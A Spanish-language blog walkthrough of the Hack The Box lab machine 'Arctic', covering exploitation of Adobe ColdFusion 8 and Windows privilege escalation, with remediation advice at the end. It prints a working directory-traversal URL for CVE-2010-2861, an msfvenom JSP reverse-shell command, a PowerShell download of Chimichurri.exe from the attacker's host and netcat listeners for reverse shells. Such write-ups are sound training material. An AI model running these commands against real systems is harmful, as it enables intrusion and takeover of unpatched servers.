Entrada

Arctic

Windows Easy centrada en Adobe ColdFusion 8: un directory traversal (CVE-2010-2861) para leer el hash del administrador, acceso al panel y shell vía tarea programada, y escalada a SYSTEM con MS10-059 (Chimichurri). Un clásico de parcheo ausente, con el añadido de la famosa lentitud de la máquina.

Arctic

Publicado por Jaime Hereza Niño

Publicado 08/10/2026
3 min de lectura
Mi puntuación
24247 votos
MáquinaSODificultadIP
ArcticWindowsEasy10.129.70.50

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.129.70.50 arctic

Resumen

Arctic es una Windows Easy que se resuelve de un tirón... salvo por un detalle que marca todo el ritmo: la máquina responde con una lentitud exasperante y cada petición se hace eterna. Más allá de eso, el camino es limpio — un Adobe ColdFusion 8 colgado en un puerto poco habitual que arrastra un directory traversal con el que se lee el hash del administrador. Se crackea, se entra al panel y, desde ahí, una tarea programada deja una shell en el sistema.

La escalada es igual de directa: un Windows Server 2008 R2 sin parchear donde sobran los CVE de kernel para subir a SYSTEM. Un buen recordatorio de que, cuando falta mantenimiento, el método importa más que la dificultad técnica.

Vulnerabilidad

Dos piezas sin actualizar sostienen toda la intrusión: una para entrar y otra para reinar.

01 · Directory Traversal en Adobe ColdFusion 8 — CVE-2010-2861 (Alta · 7.5)

El panel de administración de ColdFusion 8 no sanea el parámetro locale. Jugando con secuencias ../ y un byte nulo (%00) se recorre el sistema de ficheros hasta password.properties, el archivo donde se guarda la contraseña del administrador en SHA-1 sin sal. Con ese hash, el acceso al panel es solo cuestión de crackearlo.

02 · Escalada local por MS10-059 (Chimichurri) — CVE-2010-2554 (Alta · 7.2)

Un fallo en la función de Tracing de servicios de Windows permite a un usuario sin privilegios ejecutar código como NT AUTHORITY\SYSTEM. Afecta a Windows Server 2008 R2, que la máquina nunca parcheó. Se explota con el binario ya compilado Chimichurri.exe.

Reconocimiento

Empiezo como en cualquier caja negra: ver qué hay expuesto. Un barrido completo de puertos contra la víctima

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess arctic
PuertoServicioVersión
135msrpcMicrosoft Windows RPC
8500httpJRun Web Server (Adobe ColdFusion 8)
49154msrpcMicrosoft Windows RPC

Primer aviso de lo que viene: la máquina tarda una eternidad en responder, así que conviene armarse de paciencia con cada escaneo. Tres puertos abiertos — dos de RPC (135 y 49154) y un 8500 poco común sirviendo un servidor web JRun. Ese 8500 es el que pinta interesante.

Escaneo de puertos abiertos
Figura 1: Escaneo de puertos abiertos

Enumeración

Con los puertos claros, afino versiones y me centro en el 8500

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 135,8500,49154 -n -sCV --version-intensity 9 arctic
135/tcp open msrpc Microsoft Windows RPC 8500/tcp open http JRun Web Server 49154/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows
Enumeración de versiones de los servicios
Figura 2: Enumeración de versiones de los servicios

El 8500 confirma un servidor JRun. Navegando a mano doy con el panel de administración de Adobe ColdFusion 8

http://10.129.70.50:8500/CFIDE/administrator/enter.cfm

Es una versión antigua y, además, admite el despliegue de extensiones .cfm, .jsp y .asp: justo lo que necesitaré más adelante para ejecutar código.

Panel de administración de ColdFusion 8
Figura 3: Panel de administración de ColdFusion 8

Explotación

Con la versión fijada, busco un exploit que encaje. searchsploit deja claro que ColdFusion 8 arrastra un directory traversal

┌──(jaime㉿kali)-[~]└─$ searchsploit coldfusion
┌──(jaime㉿kali)-[~]└─$ searchsploit -m 14641
Exploits disponibles para ColdFusion
Figura 4: Exploits disponibles para ColdFusion

El 14641.py automatiza el CVE-2010-2861: recorre el sistema de ficheros desde el parámetro vulnerable hasta password.properties, la ruta donde ColdFusion guarda la contraseña del administrador

http://10.129.70.50:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

Ruta de la que se extraen las credenciales
Figura 5: Ruta de la que se extraen las credenciales

El exploit devuelve la contraseña, pero hasheada en SHA-1

Contraseña del administrador en formato hash
Figura 6: Contraseña del administrador en formato hash

Lo ortodoxo sería identificar el algoritmo con hashid o hash-identifier y crackearlo con John the Ripper o hashcat, pero en este caso crackstation.net lo resuelve directamente al tratarse de un SHA-1 sin sal

Contraseña recuperada en claro
Figura 7: Contraseña recuperada en claro

Con la contraseña en claro entro al panel de administrador. Ahora toca convertir ese acceso en ejecución: en Mappings encuentro el directorio físico desde el que se sirven los ficheros de la web, justo el sitio donde quiero dejar mi shell

Directorio de Mappings en el panel
Figura 8: Directorio de Mappings en el panel

Genero una shell en JSP y la dejo servida en mi máquina

┌──(jaime㉿kali)-[~]└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=MI_IP LPORT=4444 -f raw > shell.jsp
┌──(jaime㉿kali)-[~]└─$ python3 -m http.server 80
┌──(jaime㉿kali)-[~]└─$ nc -lvnp 4444

Desde Scheduled Tasks creo una tarea programada que descarga esa shell desde mi servidor y la escribe dentro de la ruta de Mappings

Creación de la tarea programada
Figura 9: Creación de la tarea programada

La ejecuto a mano y el fichero aterriza en la web, ya accesible

Ejecución de la tarea programada
Figura 10: Ejecución de la tarea programada

Solo queda invocar la shell desde el navegador para que se ejecute y me devuelva la conexión

┌──(jaime㉿kali)-[~]└─$ curl http://10.129.70.50:8500/CFIDE/shell.jsp
Connection received on arctic C:\ColdFusion8\runtime\bin> whoami arctic\tolis

Shell como tolis. Ya estoy dentro; a por la primera flag

Lectura de la flag de usuario
Figura 11: Lectura de la flag de usuario

Escalada de privilegios

Como tolis hago una post-explotación rápida para situarme. El clásico systeminfo me da sistema, arquitectura y, sobre todo, los parches aplicados

C:\> systeminfo
Información del sistema con systeminfo
Figura 12: Información del sistema con systeminfo

Me llevo esa salida a mi equipo y la paso por wesng (el sucesor moderno de windows-exploit-suggester) para cruzarla con los boletines de Microsoft

┌──(jaime㉿kali)-[~]└─$ python3 wes.py systeminfo.txt

Entre los candidatos me quedo con

MS10-059 — Vulnerabilities in the Tracing Feature for Services (Chimichurri) · CVE-2010-2554

Una elevación de privilegios en Windows Server 2008 R2 x64, con exploit público en Exploit-DB (14610)

Exploit seleccionado para la escalada
Figura 13: Exploit seleccionado para la escalada

Tiro del binario ya compilado Chimichurri.exe. Lo sirvo desde mi máquina y lo paso a la víctima

C:\> powershell wget "http://MI_IP/Chimichurri.exe" -OutFile "C:\Users\tolis\Desktop\Chimichurri.exe"
Descarga del binario en la víctima
Figura 14: Descarga del binario en la víctima

Con un listener nuevo a la espera, lo ejecuto pasándole mi IP y mi puerto

┌──(jaime㉿kali)-[~]└─$ nc -lvnp 4445
C:\Users\tolis\Desktop> .\Chimichurri.exe MI_IP 4445
Ejecución de Chimichurri
Figura 15: Ejecución de Chimichurri

El listener recibe la conexión y el whoami confirma lo que buscaba: ya soy SYSTEM, control total de la máquina

Confirmación de acceso como SYSTEM
Figura 16: Confirmación de acceso como SYSTEM
Lectura de la flag de root
Figura 17: Lectura de la flag de root

Flags

Con los dos niveles de acceso, recojo las banderas. La de usuario, en el escritorio de tolis

C:\> type C:\Users\tolis\Desktop\user.txt

Y la de root, ya como SYSTEM, en el de Administrator

C:\> type C:\Users\Administrator\Desktop\root.txt

Cómo se arregla

El problema de fondo vuelve a ser software obsoleto y ausencia de parches. Por capas:

  • Actualizar Adobe ColdFusion: el directory traversal (CVE-2010-2861) está corregido con los hotfix de 2010; mejor aún, abandonar la rama 8, hace años fuera de soporte.
  • Aplicar MS10-059: Microsoft lo parcheó en 2010. Con el sistema al día, Chimichurri.exe deja de funcionar.
  • Credenciales robustas: el hash del administrador cae al instante en un diccionario. Contraseñas largas y, donde se pueda, almacenamiento con sal.
  • Menor privilegio y perímetro: no exponer paneles de administración directamente a la red y restringir las conexiones salientes para dificultar la descarga de binarios y las reverse shells.

Conclusiones

Máquina fácil y con un camino muy marcado, pero con truco: la verdadera tortura son los tiempos de espera. Entre petición y petición la web se hace eterna, y eso te lleva a desesperarte y a tardar más de la cuenta en algo que, sobre el papel, es sencillo.

La escalada, en cambio, es de las agradecidas: un sistema sin parchear ofrece un abanico de CVE de kernel para subir a SYSTEM y, aunque no todos funcionen, basta con que lo haga uno. La lección de fondo se repite — software obsoleto y parches ausentes — pero Arctic añade la suya propia: la paciencia también es una herramienta.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.